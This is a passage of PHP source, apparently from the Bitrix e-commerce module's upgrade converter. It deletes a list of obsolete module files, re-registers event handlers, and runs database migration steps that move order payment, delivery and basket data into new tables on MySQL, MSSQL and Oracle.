				"modules/sale/install/templates/lang/ru/sale/sale_personal/cc_list.php",
				"modules/sale/install/templates/lang/ru/sale/sale_personal/order_cancel.php",
				"modules/sale/install/templates/lang/ru/sale/sale_personal/order_detail.php",
				"modules/sale/install/templates/lang/ru/sale/sale_personal/order_list.php",
				"modules/sale/install/templates/lang/ru/sale/sale_personal/order_list_t.php",
				"modules/sale/install/templates/lang/ru/sale/sale_personal/order_table.php",
				"modules/sale/install/templates/lang/ru/sale/sale_personal/profile_detail.php",
				"modules/sale/install/templates/lang/ru/sale/sale_personal/profile_list.php",
				"modules/sale/install/templates/lang/ru/sale/sale_personal/subscribe_cancel.php",
				"modules/sale/install/templates/lang/ru/sale/sale_personal/subscribe_list.php",
				"modules/sale/install/templates/lang/ua/sale/.description.php",
				"modules/sale/install/templates/lang/ua/sale/sale_affiliate/.description.php",
				"modules/sale/install/templates/lang/ua/sale/sale_affiliate/affiliate.php",
				"modules/sale/install/templates/lang/ua/sale/sale_affiliate/plans.php",
				"modules/sale/install/templates/lang/ua/sale/sale_affiliate/register.php",
				"modules/sale/install/templates/lang/ua/sale/sale_affiliate/shop.php",
				"modules/sale/install/templates/lang/ua/sale/sale_affiliate/tech.php",
				"modules/sale/install/templates/lang/ua/sale/sale_basket/.description.php",
				"modules/sale/install/templates/lang/ua/sale/sale_basket/basket.php",
				"modules/sale/install/templates/lang/ua/sale/sale_basket/basket_line.php",
				"modules/sale/install/templates/lang/ua/sale/sale_basket/basket_small.php",
				"modules/sale/install/templates/lang/ua/sale/sale_order/.description.php",
				"modules/sale/install/templates/lang/ua/sale/sale_order/order_1.php",
				"modules/sale/install/templates/lang/ua/sale/sale_order/order_2.php",
				"modules/sale/install/templates/lang/ua/sale/sale_order/order_full.php",
				"modules/sale/install/templates/lang/ua/sale/sale_personal/.description.php",
				"modules/sale/install/templates/lang/ua/sale/sale_personal/account.php",
				"modules/sale/install/templates/lang/ua/sale/sale_personal/cc_detail.php",
				"modules/sale/install/templates/lang/ua/sale/sale_personal/cc_list.php",
				"modules/sale/install/templates/lang/ua/sale/sale_personal/order_cancel.php",
				"modules/sale/install/templates/lang/ua/sale/sale_personal/order_detail.php",
				"modules/sale/install/templates/lang/ua/sale/sale_personal/order_list.php",
				"modules/sale/install/templates/lang/ua/sale/sale_personal/order_list_t.php",
				"modules/sale/install/templates/lang/ua/sale/sale_personal/order_table.php",
				"modules/sale/install/templates/lang/ua/sale/sale_personal/profile_detail.php",
				"modules/sale/install/templates/lang/ua/sale/sale_personal/profile_list.php",
				"modules/sale/install/templates/lang/ua/sale/sale_personal/subscribe_cancel.php",
				"modules/sale/install/templates/lang/ua/sale/sale_personal/subscribe_list.php",
				"modules/sale/install/templates/sale/.description.php",
				"modules/sale/install/templates/sale/sale_affiliate/.description.php",
				"modules/sale/install/templates/sale/sale_affiliate/affiliate.php",
				"modules/sale/install/templates/sale/sale_affiliate/plans.php",
				"modules/sale/install/templates/sale/sale_affiliate/register.php",
				"modules/sale/install/templates/sale/sale_affiliate/shop.php",
				"modules/sale/install/templates/sale/sale_affiliate/tech.php",
				"modules/sale/install/templates/sale/sale_basket/.description.php",
				"modules/sale/install/templates/sale/sale_basket/basket.php",
				"modules/sale/install/templates/sale/sale_basket/basket_line.php",
				"modules/sale/install/templates/sale/sale_basket/basket_small.php",
				"modules/sale/install/templates/sale/sale_basket/images/icon_basket_white.gif",
				"modules/sale/install/templates/sale/sale_order/.description.php",
				"modules/sale/install/templates/sale/sale_order/order_1.php",
				"modules/sale/install/templates/sale/sale_order/order_2.php",
				"modules/sale/install/templates/sale/sale_order/order_full.php",
				"modules/sale/install/templates/sale/sale_order/payment.php",
				"modules/sale/install/templates/sale/sale_personal/.description.php",
				"modules/sale/install/templates/sale/sale_personal/account.php",
				"modules/sale/install/templates/sale/sale_personal/cc_detail.php",
				"modules/sale/install/templates/sale/sale_personal/cc_list.php",
				"modules/sale/install/templates/sale/sale_personal/order_cancel.php",
				"modules/sale/install/templates/sale/sale_personal/order_detail.php",
				"modules/sale/install/templates/sale/sale_personal/order_detail_old.php",
				"modules/sale/install/templates/sale/sale_personal/order_list.php",
				"modules/sale/install/templates/sale/sale_personal/order_list_t.php",
				"modules/sale/install/templates/sale/sale_personal/order_table.php",
				"modules/sale/install/templates/sale/sale_personal/profile_detail.php",
				"modules/sale/install/templates/sale/sale_personal/profile_list.php",
				"modules/sale/install/templates/sale/sale_personal/subscribe_cancel.php",
				"modules/sale/install/templates/sale/sale_personal/subscribe_list.php",
				"modules/sale/install/templates/sale/sale_pieces/.description.php",
				"modules/sale/install/templates/sale/sale_pieces/basket.php",
				"modules/sale/install/templates/sale/sale_pieces/basket_line.php",
				"modules/sale/install/templates/sale/sale_pieces/basket_small.php",
				"modules/sale/install/templates/sale/sale_pieces/images/icon_basket_white.gif",
				"modules/sale/install/templates/sale/sale_tmpl_1/basket.php",
				"modules/sale/install/templates/sale/sale_tmpl_1/images/1c.gif",
				"modules/sale/install/templates/sale/sale_tmpl_1/images/1g.gif",
				"modules/sale/install/templates/sale/sale_tmpl_1/images/2c.gif",
				"modules/sale/install/templates/sale/sale_tmpl_1/images/2g.gif",
				"modules/sale/install/templates/sale/sale_tmpl_1/images/3c.gif",
				"modules/sale/install/templates/sale/sale_tmpl_1/images/3g.gif",
				"modules/sale/install/templates/sale/sale_tmpl_1/images/4c.gif",
				"modules/sale/install/templates/sale/sale_tmpl_1/images/4g.gif",
				"modules/sale/install/templates/sale/sale_tmpl_1/order.php",
				"modules/sale/install/templates/sale/sale_tmpl_1/payment.php",
				"modules/sale/install/templates/sale/sale_tmpl_1/pers_order.php",
				"modules/sale/install/templates/sale/sale_tmpl_1/pers_order_cancel.php",
				"modules/sale/install/templates/sale/sale_tmpl_1/pers_order_detail.php",
				"modules/sale/install/templates/sale/sale_tmpl_1/profile_detail.php",
				"modules/sale/install/templates/sale/sale_tmpl_1/profiles.php",
				"modules/sale/install/templates/sale/sale_tmpl_2/basket.php",
				"modules/sale/install/templates/sale/sale_tmpl_2/order.php",
				"modules/sale/install/templates/sale/sale_tmpl_2/payment.php",
				"modules/sale/install/templates/sale/sale_tmpl_2/pers_order.php",
				"modules/sale/install/templates/sale/sale_tmpl_2/pers_order_cancel.php",
				"modules/sale/install/templates/sale/sale_tmpl_2/pers_order_detail.php",
				"modules/sale/install/templates/sale/sale_tmpl_2/profile_detail.php",
				"modules/sale/install/templates/sale/sale_tmpl_2/profiles.php",
				"modules/sale/lib/delivery/extra_services/test.php",
				"modules/sale/lang/ru/lib/delivery/services/manager.php",
				"modules/sale/payment/betaling/.description.php",
				"modules/sale/payment/betaling/payment.php",
				"modules/sale/payment/payflow_pro/.description.php",
				"modules/sale/payment/payflow_pro/action.php",
				"modules/sale/payment/payflow_pro/common.php",
				"modules/sale/payment/payflow_pro/payment.php",
				"modules/sale/payment/payflow_pro/pre_payment.php",
				"modules/sale/admin/order_props_edit222222.php",
				"modules/sale/lib/delivery/tests/create_order.php",
				"modules/sale/lib/delivery/tests/deliveries_list.php",
				"modules/sale/lib/delivery/tests/delivery_get_price.php",
				"modules/sale/lib/delivery/tests/delivery_get_price_extra.php",
				"modules/sale/lib/delivery/tests/index.php",
				"modules/sale/lib/company.php",
				"modules/sale/lib/deliveryhandler.php",
				"modules/sale/lib/goodssection.php",
				"modules/sale/lib/orderprocessing.php",
				"modules/sale/lib/orderprocessor.php",
				"modules/sale/lib/product.php",
				"modules/sale/lib/product2product.php",
				"modules/sale/lib/reservation.php",
				"modules/sale/lib/reservationbase.php",
				"modules/sale/lib/section.php",
				"modules/sale/lib/sitecurrency.php",
				"modules/sale/lib/storeproduct.php",
				"modules/sale/lib/tradingplatform.php",
				"modules/sale/install/components/bitrix/sale.discount.coupon.mail/lang/ua/.description.php",
				"components/bitrix/sale.discount.coupon.mail/lang/ua/.description.php",
				"modules/sale/install/components/bitrix/sale.discount.coupon.mail/lang/ua/.parameters.php",
				"components/bitrix/sale.discount.coupon.mail/lang/ua/.parameters.php",
				"modules/sale/install/components/bitrix/sale.discount.coupon.mail/lang/ua/class.php",
				"components/bitrix/sale.discount.coupon.mail/lang/ua/class.php",
				
				"modules/sale/lang/ru/lib/conversion/rate.php",
				"modules/sale/lib/conversion/cartrate.php",
				"modules/sale/lib/conversion/orderrate.php",
				"modules/sale/lib/conversion/paymentrate.php",
				"modules/sale/lib/conversion/rate.php",

				"modules/sale/lang/de/lib/conversion/handlers.php",
				"modules/sale/lang/de/lib/conversion/rate.php",
				"modules/sale/lang/en/lib/conversion/handlers.php",
				"modules/sale/lang/en/lib/conversion/rate.php",
				"modules/sale/lang/ru/lib/conversion/handlers.php",
				"modules/sale/lib/conversion/handlers.php",

				"modules/sale/lib/eventspool.php",
				"modules/sale/lib/location/util/exception.php"
				
			);
			
			foreach($arToDelete as $file)
				DeleteDirFilesEx($_SERVER["DOCUMENT_ROOT"]."/bitrix/".$file);
			
			RegisterModuleDependences("main", "OnEventLogGetAuditTypes", "sale", "CSalePaySystemAction", 'OnEventLogGetAuditTypes');
			RegisterModuleDependences("sender", "OnConnectorList", "sale", "\\Bitrix\\Sale\\SenderEventHandler", "onConnectorListBuyer");
			RegisterModuleDependences("sender", "OnConnectorList", "sale", "\\Bitrix\\Sale\\SenderEventHandler", "onConnectorListBuyer");
			RegisterModuleDependences("main", "OnEventLogGetAuditTypes", "sale", "CSalePaySystemAction", 'OnEventLogGetAuditTypes');
			RegisterModuleDependences("sender", "OnTriggerList", "sale", "\\Bitrix\\Sale\\Sender\\EventHandler", "onTriggerList");
			RegisterModuleDependences("sender", "OnPresetMailingList", "sale", "\\Bitrix\\Sale\\Sender\\EventHandler", "onPresetMailingList");
			RegisterModuleDependences("sender", "OnPresetTemplateList", "sale", "\\Bitrix\\Sale\\Sender\\EventHandler", "onPresetTemplateList");

			RegisterModuleDependences('conversion', 'OnGetRateClasses' , 'sale', '\Bitrix\Sale\Conversion\Handlers', 'OnGetRateClasses' );
			RegisterModuleDependences('sale', 'OnBeforeBasketAdd', 'sale', '\Bitrix\Sale\Conversion\Handlers', 'OnBeforeBasketAdd');
			RegisterModuleDependences('sale', 'OnBasketAdd', 'sale', '\Bitrix\Sale\Conversion\Handlers', 'OnBasketAdd');
			RegisterModuleDependences('sale', 'OnOrderAdd', 'sale', '\Bitrix\Sale\Conversion\Handlers', 'OnOrderAdd');
			RegisterModuleDependences('sale', 'OnSalePayOrder', 'sale', '\Bitrix\Sale\Conversion\Handlers', 'OnSalePayOrder');


			RegisterModuleDependences('conversion', 'OnGetCounterTypes'    , 'sale', '\Bitrix\Sale\Internals\ConversionHandlers', 'onGetCounterTypes'    );
			RegisterModuleDependences('conversion', 'OnGetRateTypes'       , 'sale', '\Bitrix\Sale\Internals\ConversionHandlers', 'onGetRateTypes'       );
			RegisterModuleDependences('conversion', 'OnGenerateInitialData', 'sale', '\Bitrix\Sale\Internals\ConversionHandlers', 'onGenerateInitialData');

			RegisterModuleDependences("perfmon", "OnGetTableSchema", "sale", "sale", "OnGetTableSchema");
			

			$eventManager = \Bitrix\Main\EventManager::getInstance();

			$eventManager->unRegisterEventHandler('sale', 'OnSaleOrderPaid', 'sale', '\Bitrix\Sale\Compatible\EventCompatibility', 'onSalePayOrder');
			$eventManager->unRegisterEventHandler('sale', 'OnSaleBeforeOrderDelete', 'sale', '\Bitrix\Sale\Compatible\EventCompatibility', 'onBeforeOrderDelete');
			$eventManager->unRegisterEventHandler('sale', 'OnSaleOrderDeleted', 'sale', '\Bitrix\Sale\Compatible\EventCompatibility', 'onOrderDelete');
			$eventManager->unRegisterEventHandler('sale', 'OnSaleShipmentDelivery', 'sale', '\Bitrix\Sale\Compatible\EventCompatibility', 'onSaleDeliveryOrder');
			
			$eventManager->unRegisterEventHandler('sale', 'OnSaleBeforeOrderCanceled', 'sale', '\Bitrix\Sale\Compatible\EventCompatibility', 'onSaleBeforeCancelOrder');
			$eventManager->unRegisterEventHandler('sale', 'OnSaleOrderCanceled', 'sale', '\Bitrix\Sale\Compatible\EventCompatibility', 'onSaleCancelOrder');
			$eventManager->unRegisterEventHandler('sale', 'OnSaleOrderPaidSendMail', 'sale', '\Bitrix\Sale\Compatible\EventCompatibility', 'onSaleOrderPaidSendMail');
			$eventManager->unRegisterEventHandler('sale', 'OnSaleOrderCancelSendEmail', 'sale', '\Bitrix\Sale\Compatible\EventCompatibility', 'onSaleOrderCancelSendEmail');

			$eventManager->unRegisterEventHandler('sale', 'OnSaleOrderSaved', 'sale', '\Bitrix\Sale\Compatible\EventCompatibility', 'onOrderSave');

			$eventManager->unRegisterEventHandler('sale', 'OnSaleOrderSaved', 'sale', '\Bitrix\Sale\Compatible\EventCompatibility', 'onOrderNewSendEmail');

			$eventManager->unRegisterEventHandler('sale', 'OnSaleOrderSaved', 'sale', '\Bitrix\Sale\Compatible\EventCompatibility', 'onOrderAdd');
			

			$eventManager->registerEventHandler('sale', 'OnSaleOrderPaid', 'sale', '\Bitrix\Sale\Compatible\EventCompatibility', 'onSalePayOrder');
			$eventManager->registerEventHandler('sale', 'OnSaleBeforeOrderDelete', 'sale', '\Bitrix\Sale\Compatible\EventCompatibility', 'onBeforeOrderDelete');
			$eventManager->registerEventHandler('sale', 'OnSaleOrderDeleted', 'sale', '\Bitrix\Sale\Compatible\EventCompatibility', 'onOrderDelete');
			$eventManager->registerEventHandler('sale', 'OnSaleShipmentDelivery', 'sale', '\Bitrix\Sale\Compatible\EventCompatibility', 'onSaleDeliveryOrder');
			
			$eventManager->registerEventHandler('sale', 'OnSaleBeforeOrderCanceled', 'sale', '\Bitrix\Sale\Compatible\EventCompatibility', 'onSaleBeforeCancelOrder');
			$eventManager->registerEventHandler('sale', 'OnSaleOrderCanceled', 'sale', '\Bitrix\Sale\Compatible\EventCompatibility', 'onSaleCancelOrder');
			$eventManager->registerEventHandler('sale', 'OnSaleOrderPaidSendMail', 'sale', '\Bitrix\Sale\Compatible\EventCompatibility', 'onSaleOrderPaidSendMail');
			$eventManager->registerEventHandler('sale', 'OnSaleOrderCancelSendEmail', 'sale', '\Bitrix\Sale\Compatible\EventCompatibility', 'onSaleOrderCancelSendEmail');
			
			$eventManager->registerEventHandler('sale', 'OnSaleOrderSaved', 'sale', '\Bitrix\Sale\Compatible\EventCompatibility', 'onOrderAdd');

			$eventManager->registerEventHandler('sale', 'OnSaleOrderSaved', 'sale', '\Bitrix\Sale\Compatible\EventCompatibility', 'onOrderSave');

			COption::SetOptionString("sale", "expiration_processing_events", 'Y');

			COption::SetOptionInt("sale", "format_quantity", 2);
			
			if (empty($error))
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_INSERT_PAYMENT');
				$result['NEXT_STEP'] = ++$ajax_step;
			}
			else
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_INSTALLER');
				$result['ERROR'] = true;
				$message .= "<br>".$error;	
				
				\CEventLog::Add(array(
					"SEVERITY" => "ERROR",
					"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
					"MODULE_ID" => "sale",
					"ITEM_ID" => "STEP 15: COPY FILES",
					"DESCRIPTION" => 'COPY FILES ERROR',
				));
			}
			
			$result['DATA'] = $message;
			break;
		case 16:
			$start = microtime(true);

			$res = null;
			if ($DB->type == "MYSQL")
				$res = $DB->Query('SELECT id FROM b_sale_order_payment LIMIT 1', false);
			elseif ($DB->type == "MSSQL")
				$res = $DB->Query('SELECT TOP(1) id FROM b_sale_order_payment', false);
			elseif ($DB->type == "ORACLE")
				$res = $DB->Query('SELECT id FROM b_sale_order_payment WHERE ROWNUM=1', false);

			if ($res && !$res->Fetch())
			{
				$innerId = \Bitrix\Sale\Internals\PaySystemInner::getId();
				/** @var \Bitrix\Sale\PaySystemService $innerPaySystem */
				$innerPaySystem = \Bitrix\Sale\PaySystemService::load($innerId);

				$concatAccNum = ($DB->type == "MSSQL") ? "o.ACCOUNT_NUMBER+'/1'" : "CONCAT(o.ACCOUNT_NUMBER, '/1')";

				if (
					!$DB->Query("
						INSERT INTO b_sale_order_payment
							(ORDER_ID, PAID, DATE_PAID, PS_STATUS, PS_STATUS_CODE, PS_STATUS_DESCRIPTION, PS_STATUS_MESSAGE, PS_SUM, PS_CURRENCY, PS_RESPONSE_DATE, SUM, CURRENCY, PAY_SYSTEM_ID, DATE_BILL, PAY_VOUCHER_NUM, PAY_VOUCHER_DATE, DATE_PAY_BEFORE, PAY_SYSTEM_NAME, RESPONSIBLE_ID, ACCOUNT_NUMBER)
					SELECT
						o.ID, 'Y', o.DATE_PAYED, o.PS_STATUS, o.PS_STATUS_CODE, o.PS_STATUS_DESCRIPTION, o.PS_STATUS_MESSAGE, o.PS_SUM, o.PS_CURRENCY, o.PS_RESPONSE_DATE, o.SUM_PAID,	o.CURRENCY, ".$innerId.", o.DATE_INSERT, o.PAY_VOUCHER_NUM, o.PAY_VOUCHER_DATE, o.DATE_PAY_BEFORE, '".$innerPaySystem->getName()."', o.CREATED_BY, ".$concatAccNum."
					FROM b_sale_order o
					WHERE o.PAY_SYSTEM_ID IS NOT NULL AND o.SUM_PAID > 0", true
					)
				)
				{
					$error .= "<br>".$DB->GetErrorMessage();
					
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 16: INSERT INTO b_sale_order_payment",
						"DESCRIPTION" => $error
					));
				}

				$concatAccNum = ($DB->type == "MSSQL") ? "o.ACCOUNT_NUMBER+'/2'" :"CONCAT(o.ACCOUNT_NUMBER, '/2')";
				if (
					!$DB->Query("
						INSERT INTO b_sale_order_payment
							(ORDER_ID, PAID, DATE_PAID, PS_STATUS, PS_STATUS_CODE, PS_STATUS_DESCRIPTION, PS_STATUS_MESSAGE, PS_SUM, PS_CURRENCY, PS_RESPONSE_DATE, SUM, CURRENCY, PAY_SYSTEM_ID, DATE_BILL, PAY_VOUCHER_NUM, PAY_VOUCHER_DATE, DATE_PAY_BEFORE, PAY_SYSTEM_NAME, RESPONSIBLE_ID, ACCOUNT_NUMBER)
					SELECT
						o.ID, o.PAYED, o.DATE_PAYED, o.PS_STATUS, o.PS_STATUS_CODE, o.PS_STATUS_DESCRIPTION, o.PS_STATUS_MESSAGE, o.PS_SUM, o.PS_CURRENCY, o.PS_RESPONSE_DATE, o.PRICE-o.SUM_PAID,	o.CURRENCY, o.PAY_SYSTEM_ID, o.DATE_INSERT, o.PAY_VOUCHER_NUM, o.PAY_VOUCHER_DATE, o.DATE_PAY_BEFORE, b_sale_pay_system.NAME, o.CREATED_BY, ".$concatAccNum."
					FROM b_sale_order o
					INNER JOIN b_sale_pay_system ON b_sale_pay_system.ID=o.PAY_SYSTEM_ID
					WHERE o.PAY_SYSTEM_ID IS NOT NULL", true
					)
				)
				{
					$error .= "<br>".$DB->GetErrorMessage();

					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 16: INSERT INTO b_sale_order_payment 2",
						"DESCRIPTION" => $error
					));
				}
			}
			
			$end = microtime(true);			
			file_put_contents($_SERVER["DOCUMENT_ROOT"].'/bitrix/modules/sale_convert.txt', 'insert into b_sale_order_payment = '.($end-$start)."\n", FILE_APPEND);
			
			
			if (empty($error))
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_INSERT_SHIPMENT');
				$result['NEXT_STEP'] = ++$ajax_step;
			}
			else
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_INSERT_PAYMENT');
				$result['ERROR'] = true;
				$message .= "<br>".$error;
			}
			
			$result['DATA'] = $message;
			break;
		case 17:
			$id = \Bitrix\Sale\Delivery\Services\EmptyDeliveryService::getEmptyDeliveryServiceId();
			
			if ($id <= 0)
			{
				$fields["NAME"] = Loc::getMessage('SALE_CONVERTER_EMPTY_DELIVERY_SERVICE');
				$fields["CLASS_NAME"] = '\Bitrix\Sale\Delivery\Services\EmptyDeliveryService';
				$fields["PARENT_ID"] = 0;
				$fields["CURRENCY"] = 'RUB';
				$fields["ACTIVE"] = "Y";
				$fields["CONFIG"] = array(
					'MAIN' => array(
						'CURRENCY' => 'RUB',
						'PRICE' => 0,
						'PERIOD' => array(
							'FROM' => 0,
							'TO' => 0,
							'TYPE' => 'D'
						)
					)
				);
				$fields["SORT"] = 100;

				$res = \Bitrix\Sale\Delivery\Services\Table::add($fields);
				$id = $res->getId();

				$fields = array(
					'SORT' => 100,
					'DELIVERY_ID' => $id,
					'PARAMS' => array(
						'PUBLIC_SHOW' => 'N'
					)
				);
				$rstrPM = new \Bitrix\Sale\Delivery\Restrictions\ByPublicMode();
				$rstrPM->save($fields);
			}
				
			$start = microtime(true);

			$res = null;
			$orderDeliveryId = 'o.DELIVERY_ID';
			if ($DB->type == "MYSQL")
			{
				$res = $DB->Query('SELECT id FROM b_sale_order_delivery LIMIT 1', false);
			}
			elseif ($DB->type == "MSSQL")
			{
				$res = $DB->Query('SELECT TOP(1) id FROM b_sale_order_delivery', false);
			}
			elseif ($DB->type == "ORACLE")
			{
				$res = $DB->Query('SELECT id FROM b_sale_order_delivery WHERE ROWNUM=1', false);
				$orderDeliveryId = 'TO_NUMBER('.$orderDeliveryId.')';
			}

			if ($res && !$res->Fetch())
			{

				$concatAccNum = ($DB->type == "MSSQL") ? "o.ACCOUNT_NUMBER+'/1'" : "CONCAT(o.ACCOUNT_NUMBER, '/1')";

				if (
					!$DB->Query("INSERT INTO b_sale_order_delivery (ORDER_ID, BASE_PRICE_DELIVERY, PRICE_DELIVERY, ALLOW_DELIVERY, DATE_ALLOW_DELIVERY, EMP_ALLOW_DELIVERY_ID, DEDUCTED, DATE_DEDUCTED, EMP_DEDUCTED_ID, REASON_UNDO_DEDUCTED, RESERVED, DELIVERY_ID, DELIVERY_DOC_NUM, DELIVERY_DOC_DATE, TRACKING_NUMBER, CANCELED, DATE_CANCELED, EMP_CANCELED_ID, REASON_CANCELED, MARKED, DATE_MARKED, EMP_MARKED_ID, DATE_INSERT, CURRENCY, SYSTEM, RESPONSIBLE_ID, STATUS_ID, DELIVERY_NAME, ACCOUNT_NUMBER)
						SELECT
							o.ID, o.PRICE_DELIVERY, o.PRICE_DELIVERY, o.ALLOW_DELIVERY, o.DATE_ALLOW_DELIVERY, o.EMP_ALLOW_DELIVERY_ID, o.DEDUCTED, o.DATE_DEDUCTED, o.EMP_DEDUCTED_ID, o.REASON_UNDO_DEDUCTED, o.RESERVED, CASE WHEN o.DELIVERY_ID IS NULL THEN ".$id." ELSE ".$orderDeliveryId." END, o.DELIVERY_DOC_NUM, o.DELIVERY_DOC_DATE, o.TRACKING_NUMBER, o.CANCELED, o.DATE_CANCELED, o.EMP_CANCELED_ID, o.REASON_CANCELED, o.MARKED, o.DATE_MARKED, o.EMP_MARKED_ID, o.DATE_INSERT, o.CURRENCY, 'N', o.RESPONSIBLE_ID, CASE o.DEDUCTED WHEN 'Y' THEN 'DF' ELSE 'DN' END, d.NAME, ".$concatAccNum."
						FROM b_sale_order o
						LEFT JOIN b_sale_delivery_srv d ON d.ID = (CASE WHEN o.DELIVERY_ID IS NULL THEN ".$id." ELSE ".$orderDeliveryId." END)", true
					)
				)
				{
					$error .= "<br>".$DB->GetErrorMessage();
					
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 17: INSERT INTO b_sale_order_delivery",
						"DESCRIPTION" => $error
					));
				}
			}
			
			$end = microtime(true);			
			file_put_contents($_SERVER["DOCUMENT_ROOT"].'/bitrix/modules/sale_convert.txt', 'insert into b_sale_order_delivery = '.($end-$start)."\n", FILE_APPEND);
			
			if (empty($error))
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_INSERT_SHIPMENT_BASKET');
				$result['NEXT_STEP'] = ++$ajax_step;
			}
			else
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_INSERT_SHIPMENT');
				$result['ERROR'] = true;
				$message .= "<br>".$error;
			}
			
			$result['DATA'] = $message;
			break;
		case 18:
			$start = microtime(true);

			$res = null;
			if ($DB->type == "MYSQL")
				$res = $DB->Query('SELECT id FROM b_sale_order_dlv_basket LIMIT 1', false);
			elseif ($DB->type == "MSSQL")
				$res = $DB->Query('SELECT TOP(1) id FROM B_SALE_ORDER_DLV_BASKET', false);
			elseif ($DB->type == "ORACLE")
				$res = $DB->Query('SELECT id FROM B_SALE_ORDER_DLV_BASKET WHERE ROWNUM=1', false);

			if ($res && !$res->Fetch())
			{
				if (
					!$DB->Query('
						INSERT INTO b_sale_order_dlv_basket (ORDER_DELIVERY_ID, BASKET_ID, QUANTITY, DATE_INSERT, RESERVED_QUANTITY)
						SELECT
							b_sale_order_delivery.ID, b.ID, b.QUANTITY, b.DATE_INSERT, CASE WHEN b.RESERVE_QUANTITY IS NULL THEN 0 ELSE b.RESERVE_QUANTITY END
						FROM b_sale_basket b
						INNER JOIN b_sale_order_delivery ON b_sale_order_delivery.ORDER_ID=b.ORDER_ID', true
					)
				)
				{
					$error .= "<br>".$DB->GetErrorMessage();
					
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 18: INSERT INTO b_sale_order_dlv_basket",
						"DESCRIPTION" => $error
					));
				}
			}
			
			$end = microtime(true);			
			file_put_contents($_SERVER["DOCUMENT_ROOT"].'/bitrix/modules/sale_convert.txt', 'insert into b_sale_order_dlv_basket = '.($end-$start)."\n", FILE_APPEND);
			
			
			if (empty($error))
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_UPDATE_SHIPMENT_BASKET_BARCODE');
				$result['NEXT_STEP'] = ++$ajax_step;
			}
			else
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_INSERT_SHIPMENT_BASKET');
				$result['ERROR'] = true;
				$message .= "<br>".$error;
			}
			
			$result['DATA'] = $message;
			break;
		case 19:
			$start = microtime(true);
			if ($DB->type == 'MYSQL')
				$select = 'SELECT b_sale_order_dlv_basket.ID FROM b_sale_order_dlv_basket	WHERE b_sale_store_barcode.BASKET_ID = b_sale_order_dlv_basket.BASKET_ID LIMIT 1';
			elseif ($DB->type == 'MSSQL')
				$select = 'SELECT TOP(1) B_SALE_ORDER_DLV_BASKET.ID FROM B_SALE_ORDER_DLV_BASKET	WHERE b_sale_store_barcode.BASKET_ID = B_SALE_ORDER_DLV_BASKET.BASKET_ID';
			elseif ($DB->type == "ORACLE")
				$select = 'SELECT B_SALE_ORDER_DLV_BASKET.ID FROM B_SALE_ORDER_DLV_BASKET	WHERE b_sale_store_barcode.BASKET_ID = B_SALE_ORDER_DLV_BASKET.BASKET_ID AND ROWNUM=1';

			if (
				!$DB->Query('
					UPDATE b_sale_store_barcode SET
						b_sale_store_barcode.ORDER_DELIVERY_BASKET_ID = (
							'.$select.'
						)
					WHERE 1=1', true
				)
			)
			{
				$error .= "<br>".$DB->GetErrorMessage();
				
				\CEventLog::Add(array(
					"SEVERITY" => "ERROR",
					"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
					"MODULE_ID" => "sale",
					"ITEM_ID" => "STEP 19: UPDATE b_sale_store_barcode",
					"DESCRIPTION" => $error
				));
			}
			
			$end = microtime(true);			
			file_put_contents($_SERVER["DOCUMENT_ROOT"].'/bitrix/modules/sale_convert.txt', 'update b_sale_store_barcode = '.($end-$start)."\n", FILE_APPEND);
						
			
			if (empty($error))
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_UPDATE_ORDER_PAYMENT');
				$result['NEXT_STEP'] = ++$ajax_step;
			}
			else
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_INSERT_SHIPMENT_BASKET_BARCODE');
				$result['ERROR'] = true;
				$message .= "<br>".$error;
			}
			
			$result['DATA'] = $message;
			break;
		case 20:
			$start = microtime(true);
			if (
				!$DB->Query("
					UPDATE 
						b_sale_order 
					SET
						b_sale_order.SUM_PAID = b_sale_order.PRICE 
					WHERE b_sale_order.PAYED = 'Y'", true
				)
			)
			{
				$error .= "<br>".$DB->GetErrorMessage();
				
				\CEventLog::Add(array(
					"SEVERITY" => "ERROR",
					"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
					"MODULE_ID" => "sale",
					"ITEM_ID" => "STEP 19: UPDATE b_sale_order",
					"DESCRIPTION" => $error
				));
			}

			$end = microtime(true);			
			file_put_contents($_SERVER["DOCUMENT_ROOT"].'/bitrix/modules/sale_convert.txt', 'update b_sale_order = '.($end-$start)."\n", FILE_APPEND);

			if (empty($error))
			{
				$result['NEXT_STEP'] = ++$ajax_step;
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_UPDATE_REPORT');
			}
			else
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_UPDATE_ORDER_PAYMENT');
				$result['ERROR'] = true;
				$message .= "<br>".$error;
			}
			
			$result['DATA'] = $message;
			break;
			
		case 21:
			if($DB->TableExists('b_report'))
			{
				$updatedReports = array();
				$dbReports = $DB->Query(
					"SELECT ID, OWNER_ID, SETTINGS, MARK_DEFAULT ".
					"FROM b_report ".
					"WHERE OWNER_ID IN ('sale_SaleBasket', 'sale_SaleOrder', 'sale_SaleProduct', 'sale_User')"
				);
				$replaces = array(
					'sale_SaleOrder' => array(
						'entity' => 'Bitrix\\Sale\\Internals\\Order',
						'pattern' => array(
							'/^DATE_INS$/',
